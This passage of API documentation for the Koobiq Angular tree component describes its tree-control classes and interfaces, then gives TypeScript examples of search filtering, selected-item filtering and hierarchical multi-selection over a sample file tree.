        transformFunction: (node: T, level: number, parent: F | null) => F,
        getLevel: (node: F) => number,
        isExpandable: (node: F) => boolean,
        getChildren: (node: T) => T[] | Observable<T[]> | null | undefined
    );
    flattenNodes(structuredData: T[]): F[];
    expandFlattenedNodes(
        nodes: F[],
        treeControl: Pick<TreeControl<F>, 'isExpanded'>
    ): F[];
}
```

- `flattenNodes()`: `F[]` — Flatten a list of node type T to flattened version of node F.
  Please note that type T may be nested, and the length of `structuredData` may be different
  from that of returned list `F[]`.
- `expandFlattenedNodes()`: `F[]` — Expand flattened node with current expansion status.
  The returned list may have different length.

  Reads only `isExpanded` of the tree control, so it takes a control of any key type.

##### KbqTreeNavigationChange (class)

```ts
class KbqTreeNavigationChange<T, N = any, K = N> {
    source: KbqTreeSelection<N, K>;
    option: T;
    constructor(source: KbqTreeSelection<N, K>, option: T);
}
```

##### KbqTreeNestedDataSource (class)

Data source for nested tree.

The data source for nested tree doesn't have to consider node flattener, or the way to expand
or collapse. The expansion/collapsion will be handled by TreeControl and each non-leaf node.

```ts
class KbqTreeNestedDataSource<T> extends DataSource<T> {
    data: T[];
    connect(collectionViewer: CollectionViewer): Observable<T[]>;
    disconnect(): void;
}
```

##### KbqTreeNodeOutletContext (class)

Context provided to the tree node component.

```ts
class KbqTreeNodeOutletContext<T> {
    $implicit: T;
    level: number;
    index?: number;
    count?: number;
    constructor(data: T);
}
```

- `$implicit`: `T` — Data for the node.
- `level`: `number` — Depth of the node.
- `index?`: `number` — Index location of the node.
- `count?`: `number` — Length of the number of total dataNodes.

##### KbqTreeOptionChange (class)

Represents a change event for a tree option.

```ts
class KbqTreeOptionChange {
    source: KbqTreeOption<any>;
    constructor(source: KbqTreeOption<any>);
}
```

- `source`: `KbqTreeOption<any>` — The tree option that has been modified or selected.
- `constructor()`
  - `source`: `KbqTreeOption<any>` — The tree option that has been modified or selected.

##### KbqTreeSelectAllEvent (class)

```ts
class KbqTreeSelectAllEvent<T, N = any, K = N> {
    source: KbqTreeSelection<N, K>;
    options: T[];
    constructor(source: KbqTreeSelection<N, K>, options: T[]);
}
```

##### KbqTreeSelectionChange (class)

```ts
class KbqTreeSelectionChange<T, N = any, K = N> {
    source: KbqTreeSelection<N, K>;
    option: T;
    options?: T[];
    constructor(
        source: KbqTreeSelection<N, K>,
        option: T,
        options?: T[]
    );
}
```

##### NestedTreeControl (class)

Nested tree control. Able to expand/collapse a subtree recursively for NestedNode type.

```ts
class NestedTreeControl<T, K = T> extends BaseTreeControl<T, K> {
    getChildren: (dataNode: T) => Observable<T[]>;
    dataNodes: T[];
    expansionModel: SelectionModel<K>;
    trackBy?: (dataNode: T) => K;
    filterModel: SelectionModel<T>;
    /** @deprecated */
    filterValue: BehaviorSubject<T[] | string | null>;
    filterQuery: string | null;
    get hasActiveFilter(): boolean;
    getLevel: (dataNode: T) => number;
    isExpandable: (dataNode: T) => boolean;
    constructor(
        getChildren: (dataNode: T) => Observable<T[]>,
        options?: KbqTreeControlOptions<T, K>
    );
    expandAll(): void;
    getDescendants(dataNode: T): T[];
    toggle(dataNode: T): void;
    expand(dataNode: T): void;
    collapse(dataNode: T): void;
    isExpanded(dataNode: T): boolean;
    toggleDescendants(dataNode: T): void;
    collapseAll(): void;
    expandDescendants(dataNode: T): void;
    collapseDescendants(dataNode: T): void;
    protected expansionKey(dataNode: T): K;
}
```

- `getChildren`: `(dataNode: T) => Observable<T[]>` — Must emit **synchronously** (e.g. `of(children)` or a `BehaviorSubject`).
  `getDescendants` walks the tree with `take(1)` and returns as soon as the recursion unwinds, so
  an asynchronous source yields an incomplete — usually empty — descendant list.
- `expansionModel`: `SelectionModel<K>` — A selection model with multi-selection to track expansion status: it holds the key of every expanded node.
- `trackBy?`: `(dataNode: T) => K` — Gives the key a data node is expanded by. Without it the node object is its own key, so a node
  rebuilt as a new object — as a flattener does whenever its data changes — comes back collapsed.

  Set it before anything is expanded: keys stored under another function no longer match.
- `filterValue`: `BehaviorSubject<T[] | string | null>` — Stream with the filter query or result. Published for backward compatibility.

  Deprecated: Use `filterQuery` for the query string and `filterModel` for the filter state. Will be removed in 22.0.0.
- `filterQuery`: `string | null` — The query of the active filter, or `null` when no filter is active. Defaults to `null`.
  Set by `FlatTreeControl.applyFilter`; stays `null` on controls without filtering, such as `NestedTreeControl`.
- `hasActiveFilter`: `boolean` — Whether a filter is active: the filter model holds at least one node, or a query is set.
- `getLevel`: `(dataNode: T) => number` — Get depth of a given data node, return the level number. This is for flat tree node.
- `isExpandable`: `(dataNode: T) => boolean` — Whether the data node is expandable. Returns true if expandable.
  This is for flat tree node.
- `constructor()` — Construct with nested tree function getChildren.
  - `getChildren`: `(dataNode: T) => Observable<T[]>` — Must emit **synchronously** (e.g. `of(children)` or a `BehaviorSubject`).
    `getDescendants` walks the tree with `take(1)` and returns as soon as the recursion unwinds, so
    an asynchronous source yields an incomplete — usually empty — descendant list.
- `expandAll()`: `void` — Expands all dataNodes in the tree.

  To make this working, the `dataNodes` variable of the TreeControl must be set to all root level
  data nodes of the tree.
- `getDescendants()`: `T[]` — Gets a list of descendant dataNodes of a subtree rooted at given data node recursively.
- `toggle()`: `void` — Toggles one single data node's expanded/collapsed state.
- `expand()`: `void` — Expands one single data node.
- `collapse()`: `void` — Collapses one single data node.
- `isExpanded()`: `boolean` — Whether a given data node is expanded or not. Returns true if the data node is expanded.
- `toggleDescendants()`: `void` — Toggles a subtree rooted at `node` recursively.
- `collapseAll()`: `void` — Collapse all dataNodes in the tree.
- `expandDescendants()`: `void` — Expands a subtree rooted at given data node recursively.
- `collapseDescendants()`: `void` — Collapses a subtree rooted at given data node recursively.
- `expansionKey()`: `K` — The key `expansionModel` holds for a data node.

#### Functions

##### defaultCompareValues (function)

```ts
function defaultCompareValues(
    firstValue: string,
    secondValue: string
): boolean;
```

##### defaultCompareViewValues (function)

```ts
function defaultCompareViewValues(
    firstViewValue: string,
    secondViewValue: string
): boolean;
```

#### Types

##### FlatTreeControlFilter (interface)

```ts
interface FlatTreeControlFilter<T> {
    result: T[];
    handle(
        value: string | null,
        prevFilter?: FlatTreeControlFilter<T> | null
    ): T[];
}
```

##### KbqTreeControlOptions (interface)

Options of `FlatTreeControl` and `NestedTreeControl`.

```ts
interface KbqTreeControlOptions<T, K> {
    trackBy?: (dataNode: T) => K;
}
```

- `trackBy?`: `(dataNode: T) => K` — Initial value of the control's `trackBy`.

##### KbqTreeOptionEvent (interface)

```ts
interface KbqTreeOptionEvent {
    option: KbqTreeOption;
}
```

##### KbqTreeOptionParent (interface)

The part of the tree an option talks to.

Declared as an interface rather than as `KbqTreeSelection` so the token stays free of a circular
import, and so anything embedding options only has to provide these members.

```ts
interface KbqTreeOptionParent<T = any> {
    disabled: boolean;
    multiple: boolean;
    showCheckbox: boolean;
    inSelect: boolean;
    optionShouldHoldFocusOnBlur: boolean;
    selectAllState: KbqPseudoCheckboxState;
    treeControl: FlatTreeControl<T>;
    selectionModel: SelectionModel<T>;
    unorderedOptions: QueryList<KbqTreeOption<T>>;
    setSelectedOptionsByClick(
        option: KbqTreeOption<T>,
        shiftKey: boolean,
        ctrlKey: boolean
    ): void;
    reportOptionFocus?(event: KbqTreeOptionEvent): void;
    reportOptionBlur?(event: KbqTreeOptionEvent): void;
}
```

- `disabled`: `boolean` — Whether the whole tree is disabled.
- `multiple`: `boolean` — Whether more than one option can be selected at a time.
- `showCheckbox`: `boolean` — Whether the options render a checkbox.
- `inSelect`: `boolean` — Whether the tree is rendered inside a select panel, which makes hovering an option focus it.
- `optionShouldHoldFocusOnBlur`: `boolean` — Whether an option keeps focus while the tree loses it, as a select with a search field needs.
- `selectAllState`: `KbqPseudoCheckboxState` — State of the tree-level "select all" checkbox.
- `reportOptionFocus?()`: `void` — Called when an option takes focus.
- `reportOptionBlur?()`: `void` — Called when an option loses focus.

##### KbqTreeState (type)

The persisted state of a tree — the values of the nodes that were expanded.

```ts
type KbqTreeState = string[];
```

##### TreeControl (interface)

Tree control interface. User can implement TreeControl to expand/collapse dataNodes in the tree.
The Tree will use this TreeControl to expand/collapse a node.
User can also use it outside the `<kbq-tree>` to control the expansion status of the tree.

```ts
interface TreeControl<T, K = T> {
    dataNodes: T[];
    expansionModel: SelectionModel<K>;
    filterModel: SelectionModel<T>;
    readonly filterQuery: string | null;
    readonly hasActiveFilter: boolean;
    trackBy?: (dataNode: T) => K;
    /** @deprecated */
    filterValue: BehaviorSubject<T[] | string | null>;
    getLevel(dataNode: T): number;
    isExpandable(dataNode: T): boolean;
    getChildren(dataNode: T): Observable<T[]>;
    isExpanded(dataNode: T): boolean;
    getDescendants(dataNode: T): any[];
    toggle(dataNode: T): void;
    expand(dataNode: T): void;
    collapse(dataNode: T): void;
    expandAll(): void;
    collapseAll(): void;
    toggleDescendants(dataNode: T): void;
    expandDescendants(dataNode: T): void;
    collapseDescendants(dataNode: T): void;
}
```

- `dataNodes`: `T[]` — The saved tree nodes data for `expandAll` action.
- `expansionModel`: `SelectionModel<K>` — The expansion model: the keys of the expanded data nodes, which are the nodes themselves by default.
- `filterQuery`: `string | null` — The query of the active filter, or `null` when no filter is active.
- `hasActiveFilter`: `boolean` — Whether a filter is active: the filter model holds at least one node, or a query is set.
- `trackBy?`: `(dataNode: T) => K` — Gives the key a data node is expanded by. Without it the node object is its own key.
- `filterValue`: `BehaviorSubject<T[] | string | null>` — Stream with the filter query or result. Published for backward compatibility.

  Deprecated: Use `filterQuery` for the query string and `filterModel` for the filter state. Will be removed in 22.0.0.
- `getLevel()`: `number` — Get depth of a given data node, return the level number. This is for flat tree node.
- `isExpandable()`: `boolean` — Whether the data node is expandable. Returns true if expandable.
  This is for flat tree node.
- `getChildren()`: `Observable<T[]>` — Gets a stream that emits whenever the given data node's children change.
- `isExpanded()`: `boolean` — Whether the data node is expanded or collapsed. Return true if it's expanded.
- `getDescendants()`: `any[]` — Get all descendants of a data node
- `toggle()`: `void` — Expand or collapse data node
- `expand()`: `void` — Expand one data node
- `collapse()`: `void` — Collapse one data node
- `expandAll()`: `void` — Expand all the dataNodes in the tree
- `collapseAll()`: `void` — Collapse all the dataNodes in the tree
- `toggleDescendants()`: `void` — Toggle a data node by expand/collapse it and all its descendants
- `expandDescendants()`: `void` — Expand a data node and all its descendants
- `collapseDescendants()`: `void` — Collapse a data node and all its descendants

#### Constants

##### KBQ_SELECTION_TREE_VALUE_ACCESSOR (const)

```ts
const KBQ_SELECTION_TREE_VALUE_ACCESSOR: Provider;
```

##### KBQ_TREE_OPTION_PARENT_COMPONENT (const)

Injection token used to provide the parent component to options.

```ts
const KBQ_TREE_OPTION_PARENT_COMPONENT: InjectionToken<KbqTreeOptionParent>;
```

##### kbqTreeSelectAllValue (const)

```ts
const kbqTreeSelectAllValue: string;
```

### Examples

#### Search

The search results include matches and all of their parents:

- the tree collapses down to the matches and the path to them: the found items and the chain of their parents are visible
- the path to a match is expanded, while the items nested inside it are hidden;
- matched branches can be expanded and collapsed to view their contents;
- the matched fragment is highlighted.

**Example: Tree custom filtering** (`tree-custom-filtering`)

```ts tree-custom-filtering-example.ts
import { ChangeDetectionStrategy, Component, signal } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqHighlightModule } from '@koobiq/components/core';
import { KbqInputModule } from '@koobiq/components/input';
import {
    FlatTreeControl,
    FlatTreeControlFilter,
    KbqTreeFlatDataSource,
    KbqTreeFlattener,
    KbqTreeModule
} from '@koobiq/components/tree';

export class FileNode {
    children: FileNode[];
    name: string;
    type: any;
}

/** Flat node with expandable and level information */
export class FileFlatNode {
    name: string;
    type: any;
    level: number;
    expandable: boolean;
    parent: any;
}

/**
 * Build the file structure tree. The `value` is the Json object, or a sub-tree of a Json object.
 * The return value is the list of `FileNode`.
 */
export function buildFileTree(value: any, level: number): FileNode[] {
    const data: any[] = [];

    for (const k of Object.keys(value)) {
        const v = value[k];
        const node = new FileNode();

        node.name = `${k}`;

        if (v === null || v === undefined) {
            // no action
        } else if (typeof v === 'object') {
            node.children = buildFileTree(v, level + 1);
        } else {
            node.type = v;
        }

        data.push(node);
    }

    return data;
}

export const DATA_OBJECT = {
    docs: 'app',
    src: {
        cdk: {
            a11ly: {
                'aria describer': {
                    'aria-describer': 'ts',
                    'aria-describer.spec': 'ts',
                    'aria-reference': 'ts',
                    'aria-reference.spec': 'ts'
                },
                'focus monitor': {
                    'focus-monitor': 'ts',
                    'focus-monitor.spec': 'ts'
                }
            }
        },
        documentation: {
            source: '',
            tools: ''
        },
        mosaic: {
            autocomplete: '',
            button: '',
            'button-toggle': '',
            index: 'ts',
            package: 'json',
            version: 'ts'
        },
        'mosaic-dev': {
            alert: '',
            badge: ''
        },
        'mosaic-examples': '',
        'mosaic-moment-adapter': '',
        README: 'md',
        'tsconfig.build': 'json'
    },
    scripts: {
        deploy: {
            'cleanup-preview': 'ts',
            'publish-artifacts': 'sh',
            'publish-docs': 'sh',
            'publish-docs-preview': 'ts'
        },
        'tsconfig.deploy': 'json'
    },
    tests: ''
};

export class CustomTreeControlFilter<T> implements FlatTreeControlFilter<T> {
    result: T[];

    constructor(private control: FlatTreeControl<T>) {}

    handle(value: string | null): T[] {
        if (!value) {
            this.result = [];

            return this.result;
        }

        const result: Set<T> = new Set();

        const foundedNodes = this.control.dataNodes.filter((node: any) => {
            return this.control.compareViewValues(this.control.getViewValue(node), value);
        });

        foundedNodes.forEach((filteredNode) => {
            this.control.getParents(filteredNode, []).forEach((node) => result.add(node));

            result.add(filteredNode);
        });

        this.result = Array.from(result);

        return this.result;
    }
}

@Component({
    selector: 'tree-custom-filtering-example',
    imports: [KbqInputModule, FormsModule, KbqTreeModule, KbqHighlightModule],
    template: `
        <kbq-form-field>
            <input
                kbqInput
                type="text"
                placeholder="Search"
                [(ngModel)]="filterValue"
                (ngModelChange)="onFilterChange($event)"
            />
        </kbq-form-field>
        <kbq-tree-selection
            class="layout-margin-top-m"
            [dataSource]="dataSource"
            [treeControl]="treeControl"
            [(ngModel)]="modelValue"
        >
            <kbq-tree-option *kbqTreeNodeDef="let node" kbqTreeNodePadding [disabled]="node.name === 'tests'">
                <span
                    [innerHTML]="treeControl.getViewValue(node) | kbqHighlightBackground: treeControl.filterQuery"
                ></span>
            </kbq-tree-option>

            <kbq-tree-option *kbqTreeNodeDef="let node; when: hasChild" kbqTreeNodePadding>
                <kbq-tree-node-toggle [node]="node" (click)="onChevronClick(node, $event)" />

                <span
                    [innerHTML]="treeControl.getViewValue(node) | kbqHighlightBackground: treeControl.filterQuery"
                ></span>
            </kbq-tree-option>
        </kbq-tree-selection>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TreeCustomFilteringExample {
    treeControl: FlatTreeControl<FileFlatNode>;
    treeFlattener: KbqTreeFlattener<FileNode, FileFlatNode>;

    dataSource: KbqTreeFlatDataSource<FileNode, FileFlatNode>;

    modelValue: any = '';
    filterValue: string = '';

    /** Folders (matches) the user manually expanded while a filter is active. */
    readonly expandedMatches = signal(new Set<FileFlatNode>());

    /** Nodes whose own view value matches the current query (excludes ancestors). Only these can be expanded by the user. */
    private baseMatches = new Set<FileFlatNode>();

    private readonly customFilter: CustomTreeControlFilter<FileFlatNode>;

    constructor() {
        this.treeFlattener = new KbqTreeFlattener(this.transformer, this.getLevel, this.isExpandable, this.getChildren);

        this.treeControl = new FlatTreeControl<FileFlatNode>(
            this.getLevel,
            this.isExpandable,
            this.getValue,
            this.getViewValue
        );

        this.customFilter = new CustomTreeControlFilter<FileFlatNode>(this.treeControl);
        this.treeControl.setFilters(this.customFilter);

        this.dataSource = new KbqTreeFlatDataSource(this.treeControl, this.treeFlattener);

        this.dataSource.data = buildFileTree(DATA_OBJECT, 0);
    }

    onFilterChange(value: string): void {
        // Each new query starts from a clean expanded state.
        this.expandedMatches.set(new Set());
        this.baseMatches = this.computeBaseMatches(value);
        this.treeControl.applyFilter(value);

        if (this.baseMatches.size > 0) {
            // applyFilter auto-selects every expandable node in the filter result (matches + ancestors).
            // For not-yet-expanded MATCH folders the chevron should read "collapsed" because no children
            // are visible yet — deselect them. Ancestors keep their selection so the chevron correctly
            // shows "expanded" (the path to the match IS visible).
            //
            // A deselect emits `expansionModel.changed`, which the data source answers with the
            // unfiltered expansion view, so rebuildFilterVisible() re-affirms `filterModel` afterwards
            // to keep the filter result rendered.
            let mutated = false;

            this.baseMatches.forEach((match) => {
                if (this.treeControl.isExpandable(match) && this.treeControl.expansionModel.isSelected(match)) {
                    this.treeControl.expansionModel.deselect(match);
                    mutated = true;
                }
            });

            if (mutated) {
                this.rebuildFilterVisible(value);
            }
        }
    }

    /**
     * Fires on every click on `<kbq-tree-node-toggle>`. When no filter is active the toggle's own
     * host handler runs and the early `return` here makes us a no-op. When a filter is active the
     * toggle disables itself, so we take over and update the expanded set — but only for nodes that
     * actually match the search query (ancestors and revealed siblings cannot be expanded).
     */
    onChevronClick(node: FileFlatNode, event: Event): void {
        if (!this.isFilterActive(this.filterValue)) return;

        // Only nodes whose own view value matches the query can be expanded.
        if (!this.baseMatches.has(node)) {
            event.stopPropagation();

            return;
        }

        event.stopPropagation();

        const next = new Set(this.expandedMatches());

        if (next.has(node)) {
            next.delete(node);
            // Mirror to expansionModel so the chevron rotates back to "collapsed".
            this.treeControl.expansionModel.deselect(node);
            // Collapsing a parent must also drop any nested expanded descendants.
            Array.from(next).forEach((expanded) => {
                if (this.isDescendantOf(expanded, node)) {
                    next.delete(expanded);
                    this.treeControl.expansionModel.deselect(expanded);
                }
            });
        } else {
            next.add(node);
            // Mirror to expansionModel so the chevron rotates to "expanded".
            this.treeControl.expansionModel.select(node);
        }

        this.expandedMatches.set(next);
        this.rebuildFilterVisible(this.filterValue);
    }

    private computeBaseMatches(value: string | null): Set<FileFlatNode> {
        if (!value) return new Set();

        return new Set(
            this.treeControl.dataNodes.filter((node) =>
                this.treeControl.compareViewValues(this.treeControl.getViewValue(node), value)
            )
        );
    }

    hasChild(_: number, nodeData: FileFlatNode) {
        return nodeData.expandable;
    }

    private isFilterActive(value: string | null): boolean {
        return !!value;
    }

    /**
     * Recomputes `filterModel` as `customFilter.handle(query) ∪ direct children of each expanded folder`
     * and preserves hierarchical order. The data source re-renders on `filterModel.changed`, so these
     * mutations refresh the tree by themselves.
     */
    private rebuildFilterVisible(query: string): void {
        const base = this.customFilter.handle(query);
        const combined = new Set<FileFlatNode>(base);

        this.expandedMatches().forEach((expanded) => {
            const childLevel = this.treeControl.getLevel(expanded) + 1;

            this.treeControl.getDescendants(expanded).forEach((descendant) => {
                if (this.treeControl.getLevel(descendant) === childLevel) {
                    combined.add(descendant);
                }
            });
        });

        // Preserve hierarchical (dataNodes) order so expanded children render next to their parent.
        const ordered = this.treeControl.dataNodes.filter((n) => combined.has(n));

        this.treeControl.filterModel.clear();
        this.treeControl.filterModel.select(...ordered);
    }

    /** Walks `node.parent` upward; returns true if `ancestor` is reached. */
    private isDescendantOf(node: FileFlatNode, ancestor: FileFlatNode): boolean {
        let parent = node.parent;

        while (parent) {
            if (parent === ancestor) return true;

            parent = parent.parent;
        }

        return false;
    }

    private transformer = (node: FileNode, level: number, parent: any) => {
        const flatNode = new FileFlatNode();

        flatNode.name = node.name;
        flatNode.parent = parent;
        flatNode.type = node.type;
        flatNode.level = level;
        flatNode.expandable = !!node.children;

        return flatNode;
    };

    private getLevel = (node: FileFlatNode) => {
        return node.level;
    };

    private isExpandable = (node: FileFlatNode) => {
        return node.expandable;
    };

    private getChildren = (node: FileNode): FileNode[] => {
        return node.children;
    };

    private getValue = (node: FileFlatNode): string => {
        return node.name;
    };

    private getViewValue = (node: FileFlatNode): string => {
        const nodeType = node.type ? `.${node.type}` : '';

        return `${node.name}${nodeType}`;
    };
}
```

#### Filtering with search + selected

**Example: Tree checked filtering** (`tree-checked-filtering`)

```ts tree-checked-filtering-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqButtonToggleChange, KbqButtonToggleModule } from '@koobiq/components/button-toggle';
import { KbqHighlightModule } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqInputModule } from '@koobiq/components/input';
import {
    FilterByValues,
    FilterByViewValue,
    FilterParentsForNodes,
    FlatTreeControl,
    KbqTreeFlatDataSource,
    KbqTreeFlattener,
    KbqTreeModule,
    KbqTreeSelection
} from '@koobiq/components/tree';

export class FileNode {
    children: FileNode[];
    name: string;
    type: any;
}

/** Flat node with expandable and level information */
export class FileFlatNode {
    name: string;
    type: any;
    level: number;
    expandable: boolean;
    parent: any;
}

/**
 * Build the file structure tree. The `value` is the Json object, or a sub-tree of a Json object.
 * The return value is the list of `FileNode`.
 */
export function buildFileTree(value: any, level: number): FileNode[] {
    const data: any[] = [];

    for (const k of Object.keys(value)) {
        const v = value[k];
        const node = new FileNode();

        node.name = `${k}`;

        if (v === null || v === undefined) {
            // no action
        } else if (typeof v === 'object') {
            node.children = buildFileTree(v, level + 1);
        } else {
            node.type = v;
        }

        data.push(node);
    }

    return data;
}

export const DATA_OBJECT = {
    docs: 'app',
    src: {
        cdk: {
            a11ly: {
                'aria describer': {
                    'aria-describer': 'ts',
                    'aria-describer.spec': 'ts',
                    'aria-reference': 'ts',
                    'aria-reference.spec': 'ts'
                },
                'focus monitor': {
                    'focus-monitor': 'ts',
                    'focus-monitor.spec': 'ts'
                }
            }
        },
        documentation: {
            source: '',
            tools: ''
        },
        mosaic: {
            autocomplete: '',
            button: '',
            'button-toggle': '',
            index: 'ts',
            package: 'json',
            version: 'ts'
        },
        'mosaic-dev': {
            alert: '',
            badge: ''
        },
        'mosaic-examples': '',
        'mosaic-moment-adapter': '',
        README: 'md',
        'tsconfig.build': 'json'
    },
    scripts: {
        deploy: {
            'cleanup-preview': 'ts',
            'publish-artifacts': 'sh',
            'publish-docs': 'sh',
            'publish-docs-preview': 'ts'
        },
        'tsconfig.deploy': 'json'
    },
    tests: ''
};

abstract class TreeParams {
    treeControl: FlatTreeControl<FileFlatNode>;
    treeFlattener: KbqTreeFlattener<FileNode, FileFlatNode>;
    dataSource: KbqTreeFlatDataSource<FileNode, FileFlatNode>;
    treeData: FileNode[];
    tree: KbqTreeSelection;

    constructor() {
        this.treeControl = new FlatTreeControl(this.getLevel, this.isExpandable, this.getValue, this.getViewValue);
        this.treeFlattener = new KbqTreeFlattener<FileNode, FileFlatNode>(
            this.transformer,
            this.getLevel,
            this.isExpandable,
            this.getChildren
        );
        this.dataSource = new KbqTreeFlatDataSource(this.treeControl, this.treeFlattener);
        this.dataSource.data = this.treeData = buildFileTree(DATA_OBJECT, 0);
    }

    hasChild(_: number, nodeData: FileFlatNode) {
        return nodeData.expandable;
    }

    getLevel = (node: FileFlatNode) => node.level;

    getValue = (node: FileFlatNode) => node.name;

    getViewValue = (node: FileFlatNode): string => {
        const nodeType = node.type ? `.${node.type}` : '';

        return `${node.name}${nodeType}`;
    };

    isExpandable = (node: FileFlatNode) => node.expandable;

    getChildren = (node: FileNode) => node.children;

    transformer = (node: FileNode, level: number, parent: any) => {
        const flatNode = new FileFlatNode();

        flatNode.name = node.name;
        flatNode.parent = parent;
        flatNode.type = node.type;
        flatNode.level = level;
        flatNode.expandable = !!node.children?.length;

        return flatNode;
    };
}

@Component({
    selector: 'tree-checked-filtering-example',
    imports: [
        FormsModule,
        KbqButtonToggleModule,
        KbqTreeModule,
        KbqHighlightModule,
        KbqIconModule,
        KbqInputModule
    ],
    template: `
        <kbq-form-field>
            <input kbqInput type="text" [(ngModel)]="filterValue" (ngModelChange)="onFilterChange($event)" />
        </kbq-form-field>
        <div class="layout-margin-top-4xl">
            <kbq-button-toggle-group #group1="kbqButtonToggleGroup" (change)="onToggleClick($event)">
                <kbq-button-toggle [checked]="true" [value]="treeStates.ALL">
                    <i kbq-icon="kbq-bell_16"></i>
                    All
                </kbq-button-toggle>
                <kbq-button-toggle [value]="treeStates.SELECTED">
                    <i kbq-icon="kbq-bell_16"></i>
                    Selected
                </kbq-button-toggle>
                <kbq-button-toggle [value]="treeStates.UNSELECTED">
                    <i kbq-icon="kbq-bell_16"></i>
                    Unselected
                </kbq-button-toggle>
            </kbq-button-toggle-group>
        </div>
        <kbq-tree-selection
            multiple="checkbox"
            [autoSelect]="false"
            [dataSource]="dataSource"
            [treeControl]="treeControl"
            [(ngModel)]="modelValue"
            (ngModelChange)="onModelValueChange($event)"
        >
            <kbq-tree-option *kbqTreeNodeDef="let node" kbqTreeNodePadding [disabled]="node.name === 'tests'">
                <span
                    [innerHTML]="treeControl.getViewValue(node) | kbqHighlightBackground: treeControl.filterQuery"
                ></span>
            </kbq-tree-option>

            <kbq-tree-option *kbqTreeNodeDef="let node; when: hasChild" kbqTreeNodePadding>
                <kbq-tree-node-toggle [node]="node" />

                <span
                    [innerHTML]="treeControl.getViewValue(node) | kbqHighlightBackground: treeControl.filterQuery"
                ></span>
            </kbq-tree-option>
        </kbq-tree-selection>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TreeCheckedFilteringExample extends TreeParams {
    treeControl: FlatTreeControl<FileFlatNode>;
    filterByValues: FilterByValues<FileFlatNode>;
    treeFlattener: KbqTreeFlattener<FileNode, FileFlatNode>;

    dataSource: KbqTreeFlatDataSource<FileNode, FileFlatNode>;

    modelValue: any = ['docs'];
    filterValue: string = '';

    readonly treeStates = {
        ALL: 0,
        SELECTED: 1,
        UNSELECTED: 2
    };

    constructor() {
        super();
        this.filterByValues = new FilterByValues<FileFlatNode>(this.treeControl);
        this.filterByValues.setValues(this.modelValue);

        this.treeControl.setFilters(
            new FilterByViewValue<FileFlatNode>(this.treeControl),
            this.filterByValues,
            new FilterParentsForNodes<FileFlatNode>(this.treeControl)
        );
    }

    onModelValueChange(values) {
        this.filterByValues.setValues(values);
    }

    onFilterChange(value: string): void {
        this.treeControl.applyFilter(value);
    }

    onToggleClick({ value }: KbqButtonToggleChange) {
        if (value === this.treeStates.ALL) {
            this.filterByValues.setValues([]);
        } else if (value === this.treeStates.SELECTED) {
            this.filterByValues.setValues(this.modelValue);
        } else if (value === this.treeStates.UNSELECTED) {
            const values = this.treeControl.dataNodes
                .filter((node) => !this.modelValue.includes(this.treeControl.getValue(node)))
                .map((node) => this.treeControl.getValue(node));

            this.filterByValues.setValues(values);
        }

        this.treeControl.applyFilter(this.filterValue || null);
    }
}
```

#### Multiple selection variants

These behaviors are also available for [tree select](https://koobiq.io/en/components/tree-select.md).

##### Child subcategories

**When to use**

Used when nested items are a subset of their parents.

For example, in a hierarchical product category filter. When we search in coffee makers and toasters, we are actually searching within small kitchen appliances, which is itself a subcategory of home appliances in general.

**How it works**

The algorithm for this tree-select is the familiar 3-state checkbox behavior:

- If all N-level children are selected, their parent (N-1) becomes selected.
- If no N-level items are selected, their parent (N-1) becomes deselected.
- If some N-level items are selected and some are not, their parent (N-1) becomes selected.

**How to save to the model and select matcher**

Ideal: Display in the select matcher and save to the model the minimum set of items — N-level items if not all are selected. And one N-1 level item if all N-level items are selected.

Acceptable: When selecting an N-1 level item, save all N-level items (all children) to the model. If N+1 level items exist, save those too.

An extension of this case is the folder/group access rights scenario (variant 3).

**Example: Tree descendants subcategories** (`tree-descendants-subcategories`)

```ts tree-descendants-subcategories-example.ts
import { ChangeDetectionStrategy, Component, viewChild } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqHighlightModule } from '@koobiq/components/core';
import {
    FlatTreeControl,
    KbqTreeFlatDataSource,
    KbqTreeFlattener,
    KbqTreeModule,
    KbqTreeOption,
    KbqTreeSelection,
    KbqTreeSelectionChange
} from '@koobiq/components/tree';

export class FileNode {
    children: FileNode[];
    name: string;
    type: any;
}

/** Flat node with expandable and level information */
export class FileFlatNode {
    name: string;
    type: any;
    level: number;
    expandable: boolean;
    parent: any;
}

/**
 * Build the file structure tree. The `value` is the Json object, or a sub-tree of a Json object.
 * The return value is the list of `FileNode`.
 */
export function buildFileTree(value: any, level: number): FileNode[] {
    const data: any[] = [];

    for (const k of Object.keys(value)) {
        const v = value[k];
        const node = new FileNode();

        node.name = `${k}`;

        if (v === null || v === undefined) {
            // no action
        } else if (typeof v === 'object') {
            node.children = buildFileTree(v, level + 1);
        } else {
            node.type = v;
        }

        data.push(node);
    }

    return data;
}

export const DATA_OBJECT = {
    docs: 'app',
    src: {
        cdk: {
            a11ly: {
                'aria describer': {
                    'aria-describer': 'ts',
                    'aria-describer.spec': 'ts',
                    'aria-reference': 'ts',
                    'aria-reference.spec': 'ts'
                },
                'focus monitor': {
                    'focus-monitor': 'ts',
                    'focus-monitor.spec': 'ts'
                }
            }
        },
        documentation: {
            source: '',
            tools: ''
        },
        koobiq: {
            autocomplete: '',
            button: '',
            'button-toggle': '',
            index: 'ts',
            package: 'json',
            version: 'ts'
        },
        'koobiq-dev': {
            alert: '',
            badge: ''
        },
        'koobiq-examples': '',
        'koobiq-moment-adapter': '',
        README: 'md',
        'tsconfig.build': 'json'
    },
    scripts: {
        deploy: {
            'cleanup-preview': 'ts',
            'publish-artifacts': 'sh',
            'publish-docs': 'sh',
            'publish-docs-preview': 'ts'
        },
        'tsconfig.deploy': 'json'
    },
    tests: ''
};

abstract class TreeParams {
    treeControl: FlatTreeControl<FileFlatNode>;
    treeFlattener: KbqTreeFlattener<FileNode, FileFlatNode>;
    dataSource: KbqTreeFlatDataSource<FileNode, FileFlatNode>;
    treeData: FileNode[];

    constructor() {
        this.treeControl = new FlatTreeControl(this.getLevel, this.isExpandable, this.getValue, this.getViewValue);
        this.treeFlattener = new KbqTreeFlattener<FileNode, FileFlatNode>(
            this.transformer,
            this.getLevel,
            this.isExpandable,
            this.getChildren
        );
        this.dataSource = new KbqTreeFlatDataSource(this.treeControl, this.treeFlattener);
